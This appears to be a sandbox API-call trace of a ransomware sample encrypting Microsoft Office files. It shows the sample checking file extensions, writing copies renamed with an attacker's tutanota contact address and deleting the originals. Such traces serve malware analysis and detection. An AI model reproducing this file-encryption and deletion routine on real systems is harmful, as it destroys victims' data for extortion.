	[0273.440] CloseHandle (hObject=0x218) returned 1
	[0273.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll")) returned 0x20
	[0273.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0273.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.477] lstrlenW (lpString=".doc") returned 4
	[0273.477] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString=".docx") returned 5
	[0273.477] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0273.477] lstrlenW (lpString=".pdf") returned 4
	[0273.477] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString=".xls") returned 4
	[0273.477] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString=".xlsx") returned 5
	[0273.477] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0273.477] lstrlenW (lpString=".ppt") returned 4
	[0273.477] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.477] lstrlenW (lpString=".zip") returned 4
	[0273.477] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString=".rar") returned 4
	[0273.477] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0273.477] lstrlenW (lpString=".bz2") returned 4
	[0273.477] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0273.477] lstrlenW (lpString=".7z") returned 3
	[0273.477] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0273.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.478] lstrlenW (lpString=".dbf") returned 4
	[0273.478] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0273.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.478] lstrlenW (lpString=".1cd") returned 4
	[0273.478] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0273.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68
	[0273.478] lstrlenW (lpString=".jpg") returned 4
	[0273.478] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0273.479] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.479] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0273.479] GetLastError () returned 0x0
	[0273.479] ReadFile (in: hFile=0x360, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x16178, lpOverlapped=0x0) returned 1
	[0273.490] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x16180, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x16180, lpOverlapped=0x0) returned 1
	[0273.492] ReadFile (in: hFile=0x360, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.492] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0273.492] SetEndOfFile (hFile=0x334) returned 1
	[0273.492] CloseHandle (hObject=0x334) returned 1
	[0273.492] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.492] SetEndOfFile (hFile=0x360) returned 1
	[0273.495] CloseHandle (hObject=0x360) returned 1
	[0273.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 1
	[0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.716] lstrlenW (lpString=".doc") returned 4
	[0273.716] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.716] lstrlenW (lpString=".docx") returned 5
	[0273.716] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1
	[0273.716] lstrlenW (lpString=".pdf") returned 4
	[0273.716] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.716] lstrlenW (lpString=".xls") returned 4
	[0273.716] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.716] lstrlenW (lpString=".xlsx") returned 5
	[0273.716] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1
	[0273.716] lstrlenW (lpString=".ppt") returned 4
	[0273.716] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.717] lstrlenW (lpString=".zip") returned 4
	[0273.717] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.717] lstrlenW (lpString=".rar") returned 4
	[0273.717] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.717] lstrlenW (lpString=".bz2") returned 4
	[0273.717] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.717] lstrlenW (lpString=".7z") returned 3
	[0273.717] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.717] lstrlenW (lpString=".dbf") returned 4
	[0273.717] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.717] lstrlenW (lpString=".1cd") returned 4
	[0273.717] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59
	[0273.717] lstrlenW (lpString=".jpg") returned 4
	[0273.717] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.718] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=31120) returned 1
	[0273.718] CloseHandle (hObject=0x29c) returned 1
	[0273.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20
	[0273.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.718] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.718] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.718] GetLastError () returned 0x0
	[0273.718] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x7990, lpOverlapped=0x0) returned 1
	[0273.732] WriteFile (in: hFile=0x38c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x79a0, lpOverlapped=0x0) returned 1
	[0273.734] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.734] WriteFile (in: hFile=0x38c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.734] SetEndOfFile (hFile=0x38c) returned 1
	[0273.734] CloseHandle (hObject=0x38c) returned 1
	[0273.734] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.734] SetEndOfFile (hFile=0x29c) returned 1
	[0273.742] CloseHandle (hObject=0x29c) returned 1
	[0273.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 1
	[0273.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.965] lstrlenW (lpString=".doc") returned 4
	[0273.965] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.965] lstrlenW (lpString=".docx") returned 5
	[0273.965] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1
	[0273.965] lstrlenW (lpString=".pdf") returned 4
	[0273.966] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.966] lstrlenW (lpString=".xls") returned 4
	[0273.966] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.966] lstrlenW (lpString=".xlsx") returned 5
	[0273.966] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1
	[0273.966] lstrlenW (lpString=".ppt") returned 4
	[0273.966] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.966] lstrlenW (lpString=".zip") returned 4
	[0273.966] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.966] lstrlenW (lpString=".rar") returned 4
	[0273.966] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.966] lstrlenW (lpString=".bz2") returned 4
	[0273.966] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.966] lstrlenW (lpString=".7z") returned 3
	[0273.966] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.966] lstrlenW (lpString=".dbf") returned 4
	[0273.966] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.966] lstrlenW (lpString=".1cd") returned 4
	[0273.966] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63
	[0273.966] lstrlenW (lpString=".jpg") returned 4
	[0273.966] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.967] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=23424) returned 1
	[0273.967] CloseHandle (hObject=0x218) returned 1
	[0273.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20
	[0273.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0273.967] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.967] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0273.968] GetLastError () returned 0x0
	[0273.968] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x5b80, lpOverlapped=0x0) returned 1
	[0273.969] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x5b90, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x5b90, lpOverlapped=0x0) returned 1
	[0273.971] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.971] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.971] SetEndOfFile (hFile=0x360) returned 1
	[0273.971] CloseHandle (hObject=0x360) returned 1
	[0273.971] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.971] SetEndOfFile (hFile=0x218) returned 1
	[0273.973] CloseHandle (hObject=0x218) returned 1
	[0273.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 1
	[0273.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.973] lstrlenW (lpString=".doc") returned 4
	[0273.974] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString=".docx") returned 5
	[0273.974] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1
	[0273.974] lstrlenW (lpString=".pdf") returned 4
	[0273.974] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString=".xls") returned 4
	[0273.974] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.974] lstrlenW (lpString=".xlsx") returned 5
	[0273.974] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1
	[0273.974] lstrlenW (lpString=".ppt") returned 4
	[0273.974] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.974] lstrlenW (lpString=".zip") returned 4
	[0273.974] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.974] lstrlenW (lpString=".rar") returned 4
	[0273.974] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString=".bz2") returned 4
	[0273.974] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString=".7z") returned 3
	[0273.974] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.974] lstrlenW (lpString=".dbf") returned 4
	[0273.974] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.974] lstrlenW (lpString=".1cd") returned 4
	[0273.974] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62
	[0273.974] lstrlenW (lpString=".jpg") returned 4
	[0273.974] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.975] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=63864) returned 1
	[0273.975] CloseHandle (hObject=0x218) returned 1
	[0273.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20
	[0273.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0273.976] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.976] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0273.976] GetLastError () returned 0x0
	[0273.976] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xf978, lpOverlapped=0x0) returned 1
	[0273.979] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf980, lpOverlapped=0x0) returned 1
	[0273.981] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.981] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0273.981] SetEndOfFile (hFile=0x360) returned 1
	[0273.981] CloseHandle (hObject=0x360) returned 1
	[0273.981] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.981] SetEndOfFile (hFile=0x218) returned 1
	[0273.983] CloseHandle (hObject=0x218) returned 1
	[0273.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 1
	[0273.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.984] lstrlenW (lpString=".doc") returned 4
	[0273.984] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.984] lstrlenW (lpString=".docx") returned 5
	[0273.984] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1
	[0273.984] lstrlenW (lpString=".pdf") returned 4
	[0273.984] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.984] lstrlenW (lpString=".xls") returned 4
	[0273.984] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.984] lstrlenW (lpString=".xlsx") returned 5
	[0273.984] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1
	[0273.984] lstrlenW (lpString=".ppt") returned 4
	[0273.984] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.984] lstrlenW (lpString=".zip") returned 4
	[0273.985] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.985] lstrlenW (lpString=".rar") returned 4
	[0273.985] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.985] lstrlenW (lpString=".bz2") returned 4
	[0273.985] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.985] lstrlenW (lpString=".7z") returned 3
	[0273.985] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.985] lstrlenW (lpString=".dbf") returned 4
	[0273.985] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.985] lstrlenW (lpString=".1cd") returned 4
	[0273.985] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59
	[0273.985] lstrlenW (lpString=".jpg") returned 4
	[0273.985] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.986] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=29056) returned 1
	[0273.986] CloseHandle (hObject=0x218) returned 1
	[0273.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20
	[0273.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
